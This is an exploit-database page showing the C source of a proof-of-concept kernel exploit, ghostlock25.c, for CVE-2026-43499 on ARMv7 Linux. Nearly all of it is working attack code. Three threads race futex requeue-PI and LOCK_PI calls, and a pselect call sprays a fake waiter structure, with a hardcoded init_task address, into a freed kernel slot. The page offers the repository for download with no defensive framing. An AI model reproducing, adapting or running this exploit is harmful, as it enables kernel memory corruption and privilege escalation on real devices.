Exploit database

GH-84a2584893aa73cb0829550f9c55b3e1

tc3650/cve-2026-43499-armv7

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files70
tc3650/cve-2026-43499-armv7Revision 40f7649b000a
Next files →

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/ghostlock25.c

C · 6,664 bytes
/*
 * ghostlock25.c - Tight timing: FWRQ→pselect→LOCK_PI, no delays
 * Waiter exits FWRQ, immediately enters pselect (stamps freed slot).
 * Consumer fires LOCK_PI while pselect is active.
 * All prints moved outside the critical path.
 */

#define NULL ((void*)0)
typedef unsigned int uint32_t;typedef int int32_t;typedef long long int64_t;
#define __NR_exit 1
#define __NR_write 4
#define __NR_openat 322
#define __NR_close 6
#define __NR_clone 120
#define __NR_gettid 224
#define __NR_nanosleep 162
#define __NR_clock_gettime 263
#define __NR_pselect6 335
#define __NR_futex_time64 422
#define FLPI (6|128)
#define FUPI (7|128)
#define FWRQ (11|128)
#define FCRQ (12|128)

struct ts64 { int64_t tv_sec; int64_t tv_nsec; };
struct ts32 { int32_t tv_sec; int32_t tv_nsec; };
#define STACK_SIZE 65536
#define INIT_TASK 0xC0909280UL
#define AT_FDCWD -100

static unsigned char __attribute__((aligned(64))) stack_o[STACK_SIZE],stack_w[STACK_SIZE],stack_c[STACK_SIZE];
static uint32_t f_wait __attribute__((aligned(64)))=0,f_target __attribute__((aligned(64)))=0,f_chain __attribute__((aligned(64)))=0;
static unsigned char fake_page[4096]__attribute__((aligned(4096)));
static volatile int o_ready=0,w_ready=0,o_blocking=0,w_go=0;
static volatile int stamp_done=0,do_lock=0,lock_done=0;
static uint32_t w_tid=0;static int last_errno=0;
static unsigned long fdset_data[24]; /* pre-filled fd_set for pselect */
static struct ts64 psel_ts={{5,0}}; /* 5s timeout */
static int null_fd=-1;

static inline long _s6(long n,long a0,long a1,long a2,long a3,long a4,long a5){
    register long r0 asm("r0")=a0,r1 asm("r1")=a1,r2 asm("r2")=a2,r3 asm("r3")=a3,r4 asm("r4")=a4,r5 asm("r5")=a5,r7 asm("r7")=n;
    asm volatile("svc #0":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r5),"r"(r7):"memory");
    if(r0<0&&r0>-4096)last_errno=(int)(-r0);else last_errno=0;return r0;
}
#define SYS0(n) _s6((n),0,0,0,0,0,0)
#define SYS3(n,a,b,c) _s6((n),(a),(b),(c),0,0,0)
#define SYS6(n,a0,a1,a2,a3,a4,a5) _s6((n),(a0),(a1),(a2),(a3),(a4),(a5))

static long clone_full(int(*fn)(void*),void*stk,int fl,void*arg,void*tls,int*ctid){
    unsigned long*sp=(unsigned long*)((unsigned long)stk&~7UL);
    *--sp=(unsigned long)arg;*--sp=(unsigned long)fn;
    register long r0 asm("r0")=fl,r1 asm("r1")=(long)sp,r2 asm("r2")=0,r3 asm("r3")=(long)tls,r4 asm("r4")=(long)ctid,r7 asm("r7")=__NR_clone;
    asm volatile("svc #0\n\tcmp r0,#0\n\tbne 1f\n\tpop {r1,r2}\n\tmov r0,r2\n\tblx r1\n\tmov r7,#1\n\tsvc #0\n\t1:\n\t":"+r"(r0):"r"(r1),"r"(r2),"r"(r3),"r"(r4),"r"(r7):"r5","lr","memory");
    return r0;
}

static void pstr(const char*s){int n=0;while(s[n])n++;SYS3(__NR_write,1,(long)s,n);}
static void pint(unsigned long v){
    char b[12];int i=0;
    do{b[i++]='0'+(int)(v%10);v/=10;}while(v);
    {int j;for(j=0;j<i/2;j++){char x=b[j];b[j]=b[i-1-j];b[i-1-j]=x;}}
    b[i++]='\n';SYS3(__NR_write,1,(long)b,i);
}
static void plbl(const char*l,long v){pstr(l);pint((unsigned long)v);}
static void nsleep_ms(long ms){struct ts32 ts={(int32_t)(ms/1000),(int32_t)((ms%1000)*1000000)};SYS3(__NR_nanosleep,(long)&ts,0,0);}
void raise(void){}

static int thread_consumer(void*arg){
    (void)arg;
    while(!do_lock); /* spin-wait, no sleep */
    /* Fire LOCK_PI immediately - no delay */
    long r=SYS6(__NR_futex_time64,(long)&f_chain,FLPI,0,0,0,0);
    int e=last_errno;
    plbl("[c] LOCK_PI=",r);plbl("[c] err=",e);
    if(e!=35) pstr("[c] SURVIVED!\n");
    if(r==0)SYS6(__NR_futex_time64,(long)&f_chain,FUPI,0,0,0,0);
    lock_done=1;
    return 0;
}

static int thread_owner(void*arg){
    (void)arg;
    f_target=(uint32_t)SYS0(__NR_gettid);
    o_ready=1;
    while(!w_ready); /* spin */
    o_blocking=1;
    SYS6(__NR_futex_time64,(long)&f_chain,FLPI,0,0,0,0);
    SYS6(__NR_futex_time64,(long)&f_chain,FUPI,0,0,0,0);
    return 0;
}

static int thread_waiter(void*arg){
    (void)arg;
    w_tid=(uint32_t)SYS0(__NR_gettid);
    while(!o_ready);
    f_chain=w_tid;w_ready=1;
    while(!o_blocking);
    /* 20us busy-wait */
    {volatile int x;for(x=0;x<5000;x++);}

    struct ts32 now32;
    SYS3(__NR_clock_gettime,1,(long)&now32,0);
    struct ts64 abs;
    abs.tv_sec=(int64_t)now32.tv_sec+15;abs.tv_nsec=(int64_t)now32.tv_nsec;

    w_go=1;

    /* TIGHT: FWRQ → immediately pselect, no prints, no delays */
    long fwrq_r=SYS6(__NR_futex_time64,(long)&f_wait,FWRQ,0,(long)&abs,(long)&f_target,0);

    /* IMMEDIATE pselect after FWRQ - NO prints, NO delays */
    null_fd=(int)SYS6(__NR_openat,AT_FDCWD,(long)"/dev/null",0,0,0,0);
    if(null_fd>=0){int w=null_fd/32;fdset_data[w]|=(1UL<<(null_fd%32));}

    long psel_r=SYS6(__NR_pselect6,64,(long)fdset_data,(long)(fdset_data+8),(long)(fdset_data+16),(long)&psel_ts,0);
    if(null_fd>=0)SYS3(__NR_close,null_fd,0,0);
    stamp_done=1;

    /* Release f_chain */
    SYS6(__NR_futex_time64,(long)&f_chain,FUPI,0,0,0,0);

    /* NOW print results (after critical path) */
    plbl("[w] FWRQ=",fwrq_r);
    plbl("[w] pselect=",psel_r);
    return 0;
}

void _start(void){
    pstr("=== ghostlock25: tight timing ===\n");

    /* Pre-fill fd_set with fake waiter pattern */
    unsigned long fake_lock=(unsigned long)fake_page+0x100;
    unsigned long pat[8]={0,0,0,0,0,0,INIT_TASK,fake_lock};
    for(int i=0;i<24;i++)fdset_data[i]=pat[i%8];

    static unsigned char tls_w[32]__attribute__((aligned(8))),tls_o[32]__attribute__((aligned(8))),tls_c[32]__attribute__((aligned(8)));
    int ctid=0;
    int fl=0x00000100|0x00000200|0x00000400|0x00000800|0x00010000|0x00040000|0x00080000|0x00100000|0x00200000;

    f_wait=0;f_target=0;f_chain=0;
    o_ready=0;w_ready=0;o_blocking=0;w_go=0;stamp_done=0;do_lock=0;lock_done=0;
    w_tid=0;last_errno=0;null_fd=-1;

    clone_full(thread_owner,(void*)((unsigned long)stack_o+STACK_SIZE),fl,0,tls_o,&ctid);
    clone_full(thread_waiter,(void*)((unsigned long)stack_w+STACK_SIZE),fl,0,tls_w,&ctid);
    clone_full(thread_consumer,(void*)((unsigned long)stack_c+STACK_SIZE),fl,0,tls_c,&ctid);

    while(!w_go); /* spin-wait */

    /* Small delay to ensure waiter is inside kernel */
    {volatile int y;for(y=0;y<20000;y++);}

    pstr("[m] FCRQ\n");
    long ret=SYS6(__NR_futex_time64,(long)&f_wait,FCRQ,1,(long)(void*)1,(long)&f_target,0);
    int se=last_errno;
    plbl("[m] FCRQ=",ret);plbl("[m] err=",se);

    if(se==35){
        pstr("[!] EDEADLK!\n");
        /* Wait for FWRQ to enter kernel, then fire consumer */
        {volatile int y;for(y=0;y<25000;y++);} /* ~50us busy-wait */
        do_lock=1;
        nsleep_ms(15000); /* 15s wait for timeout+stamp */
    }

    pstr("[*] alive! tid=");pint(SYS0(__NR_gettid));
    pstr("\n");
    SYS3(__NR_exit,0,0,0);
}